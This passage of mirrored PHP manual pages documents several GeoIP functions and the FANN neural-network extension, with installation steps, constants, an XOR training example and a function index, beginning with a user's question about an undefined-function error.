[/code]

But gives fatal error :-

Fatal error: Call to undefined function geoip_region_by_name() in /home/justkids/public_html/index.php on line 40

Do I need to add anything else? Can any one please help?

Thanks


Returns the region name for some country and region code combo

  • « geoip_region_by_name
  • geoip_setup_custom_directory »
  • PHP Manual
  • GeoIP Functions
  • Returns the region name for some country and region code combo

geoip_region_name_by_code

(PECL geoip >= 1.0.4)

geoip_region_name_by_code — Returns the region name for some country and region code combo

Description

string geoip_region_name_by_code ( string $country_code , string $region_code )

The geoip_region_name_by_code() function will return the region name corresponding to a country and region code combo.

In the United States, the region code corresponds to the two-letter abbreviation of each state. In Canada, the region code corresponds to the two-letter province or territory code as attributed by Canada Post.

For the rest of the world, GeoIP uses FIPS 10-4 codes to represent regions. You can check » http://www.maxmind.com/app/fips10_4 for a detailed list of FIPS 10-4 codes.

This function is always available if using GeoIP Library version 1.4.1 or newer. The data is taken directly from the GeoIP Library and not from any database.

Parameters

country_code

The two-letter country code (see geoip_country_code_by_name())

region_code

The two-letter (or digit) region code (see geoip_region_by_name())

Return Values

Returns the region name on success, or FALSE if the country and region code combo cannot be found.

Examples

Example #1 A geoip_region_name_by_code() example using region code for US/Canada

This will print the region name for country CA (Canada), region QC (Quebec).

<?php
$region = geoip_region_name_by_code('CA', 'QC');
if ($region) {
    echo 'Region name for CA/QC is: ' . $region;
}
?>

The above example will output:

Region name for CA/QC is: Quebec

Example #2 A geoip_region_name_by_code() example using FIPS codes

This will print the region name for country JP (Japan), region 01.

<?php
$region = geoip_region_name_by_code('JP', '01');
if ($region) {
    echo 'Region name for JP/01 is: ' . $region;
}
?>

The above example will output:

Region name for JP/01 is: Aichi

User Contributed Notes

There are no user contributed notes for this page.


Set a custom directory for the GeoIP database.

  • « geoip_region_name_by_code
  • geoip_time_zone_by_country_and_region »
  • PHP Manual
  • GeoIP Functions
  • Set a custom directory for the GeoIP database.

geoip_setup_custom_directory

(PECL geoip >= 1.1.0)

geoip_setup_custom_directory — Set a custom directory for the GeoIP database.

Description

void geoip_setup_custom_directory ( string $path )

The geoip_setup_custom_directory() function will change the default directory of the GeoIP database. This is equivalent to changing geoip.custom_directory.

Parameters

path

The full path of where the GeoIP database is on disk.

Return Values

No value is returned.

Examples

Example #1 A geoip_setup_custom_directory() example

This will change the GeoIP default database path.

<?php

geoip_setup_custom_directory('/some/other/path');

print geoip_db_filename(GEOIP_COUNTRY_EDITION);

?>

The above example will output:

/some/other/path/GeoIP.dat

User Contributed Notes

There are no user contributed notes for this page.


Returns the time zone for some country and region code combo

  • « geoip_setup_custom_directory
  • FANN »
  • PHP Manual
  • GeoIP Functions
  • Returns the time zone for some country and region code combo

geoip_time_zone_by_country_and_region

(PECL geoip >= 1.0.4)

geoip_time_zone_by_country_and_region — Returns the time zone for some country and region code combo

Description

string geoip_time_zone_by_country_and_region ( string $country_code [, string $region_code ] )

The geoip_time_zone_by_country_and_region() function will return the time zone corresponding to a country and region code combo.

In the United States, the region code corresponds to the two-letter abbreviation of each state. In Canada, the region code corresponds to the two-letter province or territory code as attributed by Canada Post.

For the rest of the world, GeoIP uses FIPS 10-4 codes to represent regions. You can check » http://www.maxmind.com/app/fips10_4 for a detailed list of FIPS 10-4 codes.

This function is always available if using GeoIP Library version 1.4.1 or newer. The data is taken directly from the GeoIP Library and not from any database.

Parameters

country_code

The two-letter country code (see geoip_country_code_by_name())

region_code

The two-letter (or digit) region code (see geoip_region_by_name())

Return Values

Returns the time zone on success, or FALSE if the country and region code combo cannot be found.

Examples

Example #1 A geoip_time_zone_by_country_and_region() example using region code for US/Canada

This will print the time zone for country CA (Canada), region QC (Quebec).

<?php
$timezone = geoip_time_zone_by_country_and_region('CA', 'QC');
if ($timezone) {
    echo 'Time zone for CA/QC is: ' . $timezone;
}
?>

The above example will output:

Time zone for CA/QC is: America/Montreal

Example #2 A geoip_time_zone_by_country_and_region() example using FIPS codes

This will print the time zone for country JP (Japan), region 01 (Aichi).

<?php
$timezone = geoip_time_zone_by_country_and_region('JP', '01');
if ($timezone) {
    echo 'Time zone for JP/01 is: ' . $timezone;
}
?>

The above example will output:

Time zone for JP/01 is: Asia/Tokyo

User Contributed Notes

There are no user contributed notes for this page.


FANN (Fast Artificial Neural Network)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • XOR training
  • Fann Functions
    • fann_cascadetrain_on_data — Trains on an entire dataset, for a period of time using the Cascade2 training algorithm
    • fann_cascadetrain_on_file — Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm.
    • fann_clear_scaling_params — Clears scaling parameters
    • fann_copy — Creates a copy of a fann structure
    • fann_create_from_file — Constructs a backpropagation neural network from a configuration file
    • fann_create_shortcut_array — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
    • fann_create_shortcut — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
    • fann_create_sparse_array — Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes
    • fann_create_sparse — Creates a standard backpropagation neural network, which is not fully connected
    • fann_create_standard_array — Creates a standard fully connected backpropagation neural network using an array of layer sizes
    • fann_create_standard — Creates a standard fully connected backpropagation neural network
    • fann_create_train_from_callback — Creates the training data struct from a user supplied function
    • fann_create_train — Creates an empty training data struct
    • fann_descale_input — Scale data in input vector after get it from ann based on previously calculated parameters
    • fann_descale_output — Scale data in output vector after get it from ann based on previously calculated parameters
    • fann_descale_train — Descale input and output data based on previously calculated parameters
    • fann_destroy_train — Destructs the training data
    • fann_destroy — Destroys the entire network and properly freeing all the associated memory
    • fann_duplicate_train_data — Returns an exact copy of a fann train data
    • fann_get_activation_function — Returns the activation function
    • fann_get_activation_steepness — Returns the activation steepness for supplied neuron and layer number
    • fann_get_bias_array — Get the number of bias in each layer in the network
    • fann_get_bit_fail_limit — Returns the bit fail limit used during training
    • fann_get_bit_fail — The number of fail bits
    • fann_get_cascade_activation_functions_count — Returns the number of cascade activation functions
    • fann_get_cascade_activation_functions — Returns the cascade activation functions
    • fann_get_cascade_activation_steepnesses_count — The number of activation steepnesses
    • fann_get_cascade_activation_steepnesses — Returns the cascade activation steepnesses
    • fann_get_cascade_candidate_change_fraction — Returns the cascade candidate change fraction
    • fann_get_cascade_candidate_limit — Return the candidate limit
    • fann_get_cascade_candidate_stagnation_epochs — Returns the number of cascade candidate stagnation epochs
    • fann_get_cascade_max_cand_epochs — Returns the maximum candidate epochs
    • fann_get_cascade_max_out_epochs — Returns the maximum out epochs
    • fann_get_cascade_min_cand_epochs — Returns the minimum candidate epochs
    • fann_get_cascade_min_out_epochs — Returns the minimum out epochs
    • fann_get_cascade_num_candidate_groups — Returns the number of candidate groups
    • fann_get_cascade_num_candidates — Returns the number of candidates used during training
    • fann_get_cascade_output_change_fraction — Returns the cascade output change fraction
    • fann_get_cascade_output_stagnation_epochs — Returns the number of cascade output stagnation epochs
    • fann_get_cascade_weight_multiplier — Returns the weight multiplier
    • fann_get_connection_array — Get connections in the network
    • fann_get_connection_rate — Get the connection rate used when the network was created
    • fann_get_errno — Returns the last error number
    • fann_get_errstr — Returns the last errstr
    • fann_get_layer_array — Get the number of neurons in each layer in the network
    • fann_get_learning_momentum — Returns the learning momentum
    • fann_get_learning_rate — Returns the learning rate
    • fann_get_MSE — Reads the mean square error from the network
    • fann_get_network_type — Get the type of neural network it was created as
    • fann_get_num_input — Get the number of input neurons
    • fann_get_num_layers — Get the number of layers in the neural network
    • fann_get_num_output — Get the number of output neurons
    • fann_get_quickprop_decay — Returns the decay which is a factor that weights should decrease in each iteration during quickprop training
    • fann_get_quickprop_mu — Returns the mu factor
    • fann_get_rprop_decrease_factor — Returns the increase factor used during RPROP training
    • fann_get_rprop_delta_max — Returns the maximum step-size
    • fann_get_rprop_delta_min — Returns the minimum step-size
    • fann_get_rprop_delta_zero — Returns the initial step-size
    • fann_get_rprop_increase_factor — Returns the increase factor used during RPROP training
    • fann_get_sarprop_step_error_shift — Returns the sarprop step error shift
    • fann_get_sarprop_step_error_threshold_factor — Returns the sarprop step error threshold factor
    • fann_get_sarprop_temperature — Returns the sarprop temperature
    • fann_get_sarprop_weight_decay_shift — Returns the sarprop weight decay shift
    • fann_get_total_connections — Get the total number of connections in the entire network
    • fann_get_total_neurons — Get the total number of neurons in the entire network
    • fann_get_train_error_function — Returns the error function used during training
    • fann_get_train_stop_function — Returns the stop function used during training
    • fann_get_training_algorithm — Returns the training algorithm
    • fann_init_weights — Initialize the weights using Widrow + Nguyen’s algorithm
    • fann_length_train_data — Returns the number of training patterns in the train data
    • fann_merge_train_data — Merges the train data
    • fann_num_input_train_data — Returns the number of inputs in each of the training patterns in the train data
    • fann_num_output_train_data — Returns the number of outputs in each of the training patterns in the train data
    • fann_print_error — Prints the error string
    • fann_randomize_weights — Give each connection a random weight between min_weight and max_weight
    • fann_read_train_from_file — Reads a file that stores training data
    • fann_reset_errno — Resets the last error number
    • fann_reset_errstr — Resets the last error string
    • fann_reset_MSE — Resets the mean square error from the network
    • fann_run — Will run input through the neural network
    • fann_save_train — Save the training structure to a file
    • fann_save — Saves the entire network to a configuration file
    • fann_scale_input_train_data — Scales the inputs in the training data to the specified range
    • fann_scale_input — Scale data in input vector before feed it to ann based on previously calculated parameters
    • fann_scale_output_train_data — Scales the outputs in the training data to the specified range
    • fann_scale_output — Scale data in output vector before feed it to ann based on previously calculated parameters
    • fann_scale_train_data — Scales the inputs and outputs in the training data to the specified range
    • fann_scale_train — Scale input and output data based on previously calculated parameters
    • fann_set_activation_function_hidden — Sets the activation function for all of the hidden layers
    • fann_set_activation_function_layer — Sets the activation function for all the neurons in the supplied layer.
    • fann_set_activation_function_output — Sets the activation function for the output layer
    • fann_set_activation_function — Sets the activation function for supplied neuron and layer
    • fann_set_activation_steepness_hidden — Sets the steepness of the activation steepness for all neurons in the all hidden layers
    • fann_set_activation_steepness_layer — Sets the activation steepness for all of the neurons in the supplied layer number
    • fann_set_activation_steepness_output — Sets the steepness of the activation steepness in the output layer
    • fann_set_activation_steepness — Sets the activation steepness for supplied neuron and layer number
    • fann_set_bit_fail_limit — Set the bit fail limit used during training
    • fann_set_callback — Sets the callback function for use during training
    • fann_set_cascade_activation_functions — Sets the array of cascade candidate activation functions
    • fann_set_cascade_activation_steepnesses — Sets the array of cascade candidate activation steepnesses
    • fann_set_cascade_candidate_change_fraction — Sets the cascade candidate change fraction
    • fann_set_cascade_candidate_limit — Sets the candidate limit
    • fann_set_cascade_candidate_stagnation_epochs — Sets the number of cascade candidate stagnation epochs
    • fann_set_cascade_max_cand_epochs — Sets the max candidate epochs
    • fann_set_cascade_max_out_epochs — Sets the maximum out epochs
    • fann_set_cascade_min_cand_epochs — Sets the min candidate epochs
    • fann_set_cascade_min_out_epochs — Sets the minimum out epochs
    • fann_set_cascade_num_candidate_groups — Sets the number of candidate groups
    • fann_set_cascade_output_change_fraction — Sets the cascade output change fraction
    • fann_set_cascade_output_stagnation_epochs — Sets the number of cascade output stagnation epochs
    • fann_set_cascade_weight_multiplier — Sets the weight multiplier
    • fann_set_error_log — Sets where the errors are logged to
    • fann_set_input_scaling_params — Calculate input scaling parameters for future use based on training data
    • fann_set_learning_momentum — Sets the learning momentum
    • fann_set_learning_rate — Sets the learning rate
    • fann_set_output_scaling_params — Calculate output scaling parameters for future use based on training data
    • fann_set_quickprop_decay — Sets the quickprop decay factor
    • fann_set_quickprop_mu — Sets the quickprop mu factor
    • fann_set_rprop_decrease_factor — Sets the decrease factor used during RPROP training
    • fann_set_rprop_delta_max — Sets the maximum step-size
    • fann_set_rprop_delta_min — Sets the minimum step-size
    • fann_set_rprop_delta_zero — Sets the initial step-size
    • fann_set_rprop_increase_factor — Sets the increase factor used during RPROP training
    • fann_set_sarprop_step_error_shift — Sets the sarprop step error shift
    • fann_set_sarprop_step_error_threshold_factor — Sets the sarprop step error threshold factor
    • fann_set_sarprop_temperature — Sets the sarprop temperature
    • fann_set_sarprop_weight_decay_shift — Sets the sarprop weight decay shift
    • fann_set_scaling_params — Calculate input and output scaling parameters for future use based on training data
    • fann_set_train_error_function — Sets the error function used during training
    • fann_set_train_stop_function — Sets the stop function used during training
    • fann_set_training_algorithm — Sets the training algorithm
    • fann_set_weight_array — Set connections in the network
    • fann_set_weight — Set a connection in the network
    • fann_shuffle_train_data — Shuffles training data, randomizing the order
    • fann_subset_train_data — Returns an copy of a subset of the train data
    • fann_test_data — Test a set of training data and calculates the MSE for the training data
    • fann_test — Test with a set of inputs, and a set of desired outputs
    • fann_train_epoch — Train one epoch with a set of training data
    • fann_train_on_data — Trains on an entire dataset for a period of time
    • fann_train_on_file — Trains on an entire dataset, which is read from file, for a period of time
    • fann_train — Train one iteration with a set of inputs, and a set of desired outputs
  • FANNConnection — The FANNConnection class
    • FANNConnection::__construct — The connection constructor
    • FANNConnection::getFromNeuron — Returns the postions of starting neuron.
    • FANNConnection::getToNeuron — Returns the postions of terminating neuron
    • FANNConnection::getWeight — Returns the connection weight
    • FANNConnection::setWeight — Sets the connections weight

User Contributed Notes

There are no user contributed notes for this page.


Introduction

PHP binding for FANN (Fast Artificial Neural Network) Library which implements multilayer artificial neural networks with support for both fully connected and sparsely connected networks. It includes a framework for easy handling of training data sets. It is easy to use, versatile, well documented, and fast.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP >= 5.2.0 and libfann >= 2.1.0

User Contributed Notes

There are no user contributed notes for this page.


Installation

The FANN PHP extension should work on all Linux systems.

  • FANN Library Installation
  • PECL Installation
  • Manual Installation

FANN Library Installation

Before you start installation make sure that libfann is installed on your system. It's part of the main repository in the most Linux distributions (search for `fann`). You need a development version.

If it is not installed, you need to install it first. Either download it from the » official site or get it from your distro repository. For example on Fedora:

$ sudo yum install fann-devel
or Ubuntu:

$ sudo apt-get install libfann-dev

PECL Installation

This extension is available on PECL. The installation is very simple. Just run:

$ sudo pecl install fann

Manual Installation

For developers and people interested in the latest changes, you can compile the driver from the latest source code on » Github. Go to Github and click the "Download ZIP" button. Then run:

$ unzip php-fann-master.zip
$ cd php-fann-master
$ phpize
$ ./configure
$ make all
$ sudo make install

Make the following changes to php.ini:

  • Make sure the extension_dir variable is pointing to the directory containing fann.so. The build will display where it is installing the PHP driver with output that looks something like:

Installing '/usr/lib/php/extensions/no-debug-non-zts-20060613/fann.so'
    Make sure that it is the same as the PHP extension directory by runnning:

$ php -i | grep extension_dir
  extension_dir => /usr/lib/php/extensions/no-debug-non-zts-20060613 =>
                   /usr/lib/php/extensions/no-debug-non-zts-20060613
    If it's not, change the extension_dir in php.ini or move fann.so.

  • To load the extension on PHP startup, add a line:

extension=fann.so

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Training algorithms
FANN_TRAIN_INCREMENTAL (integer)
Standard backpropagation algorithm, where the weights are updated after each training pattern. This means that the weights are updated many times during a single epoch. For this reason some problems, will train very fast with this algorithm, while other more advanced problems will not train very well.
FANN_TRAIN_BATCH (integer)
Standard backpropagation algorithm, where the weights are updated after calculating the mean square error for the whole training set. This means that the weights are only updated once during a epoch. For this reason some problems, will train slower with this algorithm. But since the mean square error is calculated more correctly than in incremental training, some problems will reach a better solutions with this algorithm.
FANN_TRAIN_RPROP (integer)
A more advanced batch training algorithm which achieves good results for many problems. The RPROP training algorithm is adaptive, and does therefore not use the learning_rate. Some other parameters can however be set to change the way the RPROP algorithm works, but it is only recommended for users with insight in how the RPROP training algorithm works. The RPROP training algorithm is described by [Riedmiller and Braun, 1993], but the actual learning algorithm used here is the iRPROP- training algorithm which is described by [Igel and Husken, 2000] which is an variety of the standard RPROP training algorithm.
FANN_TRAIN_QUICKPROP (integer)
A more advanced batch training algorithm which achieves good results for many problems. The quickprop training algorithm uses the learning_rate parameter along with other more advanced parameters, but it is only recommended to change these advanced parameters, for users with insight in how the quickprop training algorithm works. The quickprop training algorithm is described by [Fahlman, 1988].
FANN_TRAIN_SARPROP (integer)
Even more advance training algorithm. Only for version 2.2
Activation functions
FANN_LINEAR (integer)
Linear activation function.
FANN_THRESHOLD (integer)
Threshold activation function.
FANN_THRESHOLD_SYMMETRIC (integer)
Threshold activation function.
FANN_SIGMOID (integer)
Sigmoid activation function.
FANN_SIGMOID_STEPWISE (integer)
Stepwise linear approximation to sigmoid.
FANN_SIGMOID_SYMMETRIC (integer)
Symmetric sigmoid activation function, aka. tanh.
FANN_SIGMOID_SYMMETRIC_STEPWISE (integer)
Stepwise linear approximation to symmetric sigmoid
FANN_GAUSSIAN (integer)
Gaussian activation function.
FANN_GAUSSIAN_SYMMETRIC (integer)
Symmetric gaussian activation function.
FANN_GAUSSIAN_STEPWISE (integer)
Stepwise gaussian activation function.
FANN_ELLIOT (integer)
Fast (sigmoid like) activation function defined by David Elliott.
FANN_ELLIOT_SYMMETRIC (integer)
Fast (symmetric sigmoid like) activation function defined by David Elliott.
FANN_LINEAR_PIECE (integer)
Bounded linear activation function.
FANN_LINEAR_PIECE_SYMMETRIC (integer)
Bounded linear activation function.
FANN_SIN_SYMMETRIC (integer)
Periodical sinus activation function.
FANN_COS_SYMMETRIC (integer)
Periodical cosinus activation function.
FANN_SIN (integer)
Periodical sinus activation function.
FANN_COS (integer)
Periodical cosinus activation function.
Error function used during training
FANN_ERRORFUNC_LINEAR (integer)
Standard linear error function.
FANN_ERRORFUNC_TANH (integer)
Tanh error function, usually better but can require a lower learning rate. This error function agressively targets outputs that differ much from the desired, while not targetting outputs that only differ a little that much. This activation function is not recommended for cascade training and incremental training.
Stop criteria used during training
FANN_STOPFUNC_MSE (integer)
Stop criteria is Mean Square Error (MSE) value.
FANN_STOPFUNC_BIT (integer)
Stop criteria is number of bits that fail. The number of bits means the number of output neurons which differs more than the bit fail limit (see fann_get_bit_fail_limit, fann_set_bit_fail_limit). The bits are counted in all of the training data, so this number can be higher than the number of training data.
Definition of network types used by fann_get_network_type()
FANN_NETTYPE_LAYER (integer)
Each layer only has connections to the next layer.
FANN_NETTYPE_SHORTCUT (integer)
Each layer has connections to all following layers
Errors
FANN_E_NO_ERROR (integer)
No error.
FANN_E_CANT_OPEN_CONFIG_R (integer)
Unable to open configuration file for reading.
FANN_E_CANT_OPEN_CONFIG_W (integer)
Unable to open configuration file for writing.
FANN_E_WRONG_CONFIG_VERSION (integer)
Wrong version of configuration file.
FANN_E_CANT_READ_CONFIG (integer)
Error reading info from configuration file.
FANN_E_CANT_READ_NEURON (integer)
Error reading neuron info from configuration file.
FANN_E_CANT_READ_CONNECTIONS (integer)
Error reading connections from configuration file.
FANN_E_WRONG_NUM_CONNECTIONS (integer)
Number of connections not equal to the number expected.
FANN_E_CANT_OPEN_TD_W (integer)
Unable to open train data file for writing.
FANN_E_CANT_OPEN_TD_R (integer)
Unable to open train data file for reading.
FANN_E_CANT_READ_TD (integer)
Error reading training data from file.
FANN_E_CANT_ALLOCATE_MEM (integer)
Unable to allocate memory.
FANN_E_CANT_TRAIN_ACTIVATION (integer)
Unable to train with the selected activation function.
FANN_E_CANT_USE_ACTIVATION (integer)
Unable to use the selected activation function.
FANN_E_TRAIN_DATA_MISMATCH (integer)
Irreconcilable differences between two struct fann_train_data structures.
FANN_E_CANT_USE_TRAIN_ALG (integer)
Unable to use the selected training algorithm.
FANN_E_TRAIN_DATA_SUBSET (integer)
Trying to take subset which is not within the training set.
FANN_E_INDEX_OUT_OF_BOUND (integer)
Index is out of bound.
FANN_E_SCALE_NOT_PRESENT (integer)
Scaling parameters not present.
FANN_E_INPUT_NO_MATCH (integer)
The number of input neurons in the ann data do not match
FANN_E_OUTPUT_NO_MATCH (integer)
The number of output neurons in the ann and data do not match.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • XOR training

User Contributed Notes

There are no user contributed notes for this page.


XOR training

This example shows how to train data for XOR function

Example #1 xor.data file

4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

Example #2 Simple train

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.001;
$max_epochs = 500000;
$epochs_between_reports = 1000;

$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {
    fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
    fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

    $filename = dirname(__FILE__) . "/xor.data";
    if (fann_train_on_file($ann, $filename, $max_epochs, $epochs_between_reports, $desired_error))
        fann_save($ann, dirname(__FILE__) . "/xor_float.net");

    fann_destroy($ann);
}
?>

This example shows how to read and run data for XOR function

Example #3 Simple test

<?php
$train_file = (dirname(__FILE__) . "/xor_float.net");
if (!is_file($train_file))
    die("The file xor_float.net has not been created! Please run simple_train.php to generate it");

$ann = fann_create_from_file($train_file);
if (!$ann)
    die("ANN could not be created");

$input = array(-1, 1);
$calc_out = fann_run($ann, $input);
printf("xor test (%f,%f) -> %f\n", $input[0], $input[1], $calc_out[0]);
fann_destroy($ann);
?>

User Contributed Notes

aleks dot rk at gmail dot com 11-May-2014 06:44
xor.data file is missing from the example.
Here is the file xor.data, used to train the xor function:

4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1


Fann Functions

Table of Contents

  • fann_cascadetrain_on_data — Trains on an entire dataset, for a period of time using the Cascade2 training algorithm
  • fann_cascadetrain_on_file — Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm.
  • fann_clear_scaling_params — Clears scaling parameters
  • fann_copy — Creates a copy of a fann structure
  • fann_create_from_file — Constructs a backpropagation neural network from a configuration file
  • fann_create_shortcut_array — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
  • fann_create_shortcut — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
  • fann_create_sparse_array — Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes
  • fann_create_sparse — Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_standard_array — Creates a standard fully connected backpropagation neural network using an array of layer sizes
  • fann_create_standard — Creates a standard fully connected backpropagation neural network
  • fann_create_train_from_callback — Creates the training data struct from a user supplied function
  • fann_create_train — Creates an empty training data struct
  • fann_descale_input — Scale data in input vector after get it from ann based on previously calculated parameters
  • fann_descale_output — Scale data in output vector after get it from ann based on previously calculated parameters
  • fann_descale_train — Descale input and output data based on previously calculated parameters
  • fann_destroy_train — Destructs the training data
  • fann_destroy — Destroys the entire network and properly freeing all the associated memory
  • fann_duplicate_train_data — Returns an exact copy of a fann train data
  • fann_get_activation_function — Returns the activation function
  • fann_get_activation_steepness — Returns the activation steepness for supplied neuron and layer number
  • fann_get_bias_array — Get the number of bias in each layer in the network
  • fann_get_bit_fail_limit — Returns the bit fail limit used during training
  • fann_get_bit_fail — The number of fail bits
  • fann_get_cascade_activation_functions_count — Returns the number of cascade activation functions
  • fann_get_cascade_activation_functions — Returns the cascade activation functions
  • fann_get_cascade_activation_steepnesses_count — The number of activation steepnesses
  • fann_get_cascade_activation_steepnesses — Returns the cascade activation steepnesses
  • fann_get_cascade_candidate_change_fraction — Returns the cascade candidate change fraction
  • fann_get_cascade_candidate_limit — Return the candidate limit
  • fann_get_cascade_candidate_stagnation_epochs — Returns the number of cascade candidate stagnation epochs
  • fann_get_cascade_max_cand_epochs — Returns the maximum candidate epochs
  • fann_get_cascade_max_out_epochs — Returns the maximum out epochs
  • fann_get_cascade_min_cand_epochs — Returns the minimum candidate epochs
  • fann_get_cascade_min_out_epochs — Returns the minimum out epochs
  • fann_get_cascade_num_candidate_groups — Returns the number of candidate groups
  • fann_get_cascade_num_candidates — Returns the number of candidates used during training
  • fann_get_cascade_output_change_fraction — Returns the cascade output change fraction
  • fann_get_cascade_output_stagnation_epochs — Returns the number of cascade output stagnation epochs
  • fann_get_cascade_weight_multiplier — Returns the weight multiplier
  • fann_get_connection_array — Get connections in the network
  • fann_get_connection_rate — Get the connection rate used when the network was created
  • fann_get_errno — Returns the last error number
  • fann_get_errstr — Returns the last errstr
  • fann_get_layer_array — Get the number of neurons in each layer in the network
  • fann_get_learning_momentum — Returns the learning momentum
  • fann_get_learning_rate — Returns the learning rate
  • fann_get_MSE — Reads the mean square error from the network
  • fann_get_network_type — Get the type of neural network it was created as
  • fann_get_num_input — Get the number of input neurons
  • fann_get_num_layers — Get the number of layers in the neural network
  • fann_get_num_output — Get the number of output neurons
  • fann_get_quickprop_decay — Returns the decay which is a factor that weights should decrease in each iteration during quickprop training
  • fann_get_quickprop_mu — Returns the mu factor
  • fann_get_rprop_decrease_factor — Returns the increase factor used during RPROP training
  • fann_get_rprop_delta_max — Returns the maximum step-size
  • fann_get_rprop_delta_min — Returns the minimum step-size
  • fann_get_rprop_delta_zero — Returns the initial step-size
  • fann_get_rprop_increase_factor — Returns the increase factor used during RPROP training
  • fann_get_sarprop_step_error_shift — Returns the sarprop step error shift
  • fann_get_sarprop_step_error_threshold_factor — Returns the sarprop step error threshold factor
  • fann_get_sarprop_temperature — Returns the sarprop temperature
  • fann_get_sarprop_weight_decay_shift — Returns the sarprop weight decay shift
  • fann_get_total_connections — Get the total number of connections in the entire network
  • fann_get_total_neurons — Get the total number of neurons in the entire network
  • fann_get_train_error_function — Returns the error function used during training
  • fann_get_train_stop_function — Returns the stop function used during training
  • fann_get_training_algorithm — Returns the training algorithm
  • fann_init_weights — Initialize the weights using Widrow + Nguyen’s algorithm
  • fann_length_train_data — Returns the number of training patterns in the train data
  • fann_merge_train_data — Merges the train data
  • fann_num_input_train_data — Returns the number of inputs in each of the training patterns in the train data
  • fann_num_output_train_data — Returns the number of outputs in each of the training patterns in the train data
  • fann_print_error — Prints the error string
  • fann_randomize_weights — Give each connection a random weight between min_weight and max_weight
  • fann_read_train_from_file — Reads a file that stores training data
  • fann_reset_errno — Resets the last error number
  • fann_reset_errstr — Resets the last error string
  • fann_reset_MSE — Resets the mean square error from the network
  • fann_run — Will run input through the neural network
  • fann_save_train — Save the training structure to a file
  • fann_save — Saves the entire network to a configuration file
  • fann_scale_input_train_data — Scales the inputs in the training data to the specified range
  • fann_scale_input — Scale data in input vector before feed it to ann based on previously calculated parameters
  • fann_scale_output_train_data — Scales the outputs in the training data to the specified range
  • fann_scale_output — Scale data in output vector before feed it to ann based on previously calculated parameters
  • fann_scale_train_data — Scales the inputs and outputs in the training data to the specified range
  • fann_scale_train — Scale input and output data based on previously calculated parameters
  • fann_set_activation_function_hidden — Sets the activation function for all of the hidden layers
  • fann_set_activation_function_layer — Sets the activation function for all the neurons in the supplied layer.
  • fann_set_activation_function_output — Sets the activation function for the output layer
  • fann_set_activation_function — Sets the activation function for supplied neuron and layer
  • fann_set_activation_steepness_hidden — Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_set_activation_steepness_layer — Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_output — Sets the steepness of the activation steepness in the output layer
  • fann_set_activation_steepness — Sets the activation steepness for supplied neuron and layer number
  • fann_set_bit_fail_limit — Set the bit fail limit used during training
  • fann_set_callback — Sets the callback function for use during training
  • fann_set_cascade_activation_functions — Sets the array of cascade candidate activation functions
  • fann_set_cascade_activation_steepnesses — Sets the array of cascade candidate activation steepnesses
  • fann_set_cascade_candidate_change_fraction — Sets the cascade candidate change fraction
  • fann_set_cascade_candidate_limit — Sets the candidate limit
  • fann_set_cascade_candidate_stagnation_epochs — Sets the number of cascade candidate stagnation epochs
  • fann_set_cascade_max_cand_epochs — Sets the max candidate epochs
  • fann_set_cascade_max_out_epochs — Sets the maximum out epochs
  • fann_set_cascade_min_cand_epochs — Sets the min candidate epochs
  • fann_set_cascade_min_out_epochs — Sets the minimum out epochs
  • fann_set_cascade_num_candidate_groups — Sets the number of candidate groups
  • fann_set_cascade_output_change_fraction — Sets the cascade output change fraction
  • fann_set_cascade_output_stagnation_epochs — Sets the number of cascade output stagnation epochs
  • fann_set_cascade_weight_multiplier — Sets the weight multiplier
  • fann_set_error_log — Sets where the errors are logged to
  • fann_set_input_scaling_params — Calculate input scaling parameters for future use based on training data
  • fann_set_learning_momentum — Sets the learning momentum
  • fann_set_learning_rate — Sets the learning rate
  • fann_set_output_scaling_params — Calculate output scaling parameters for future use based on training data
  • fann_set_quickprop_decay — Sets the quickprop decay factor
  • fann_set_quickprop_mu — Sets the quickprop mu factor
  • fann_set_rprop_decrease_factor — Sets the decrease factor used during RPROP training
  • fann_set_rprop_delta_max — Sets the maximum step-size
  • fann_set_rprop_delta_min — Sets the minimum step-size
  • fann_set_rprop_delta_zero — Sets the initial step-size
  • fann_set_rprop_increase_factor — Sets the increase factor used during RPROP training
  • fann_set_sarprop_step_error_shift — Sets the sarprop step error shift
  • fann_set_sarprop_step_error_threshold_factor — Sets the sarprop step error threshold factor
  • fann_set_sarprop_temperature — Sets the sarprop temperature
  • fann_set_sarprop_weight_decay_shift — Sets the sarprop weight decay shift
  • fann_set_scaling_params — Calculate input and output scaling parameters for future use based on training data
  • fann_set_train_error_function — Sets the error function used during training
  • fann_set_train_stop_function — Sets the stop function used during training
  • fann_set_training_algorithm — Sets the training algorithm
  • fann_set_weight_array — Set connections in the network
  • fann_set_weight — Set a connection in the network
  • fann_shuffle_train_data — Shuffles training data, randomizing the order
  • fann_subset_train_data — Returns an copy of a subset of the train data
  • fann_test_data — Test a set of training data and calculates the MSE for the training data
  • fann_test — Test with a set of inputs, and a set of desired outputs
  • fann_train_epoch — Train one epoch with a set of training data
  • fann_train_on_data — Trains on an entire dataset for a period of time
  • fann_train_on_file — Trains on an entire dataset, which is read from file, for a period of time
  • fann_train — Train one iteration with a set of inputs, and a set of desired outputs

User Contributed Notes

There are no user contributed notes for this page.


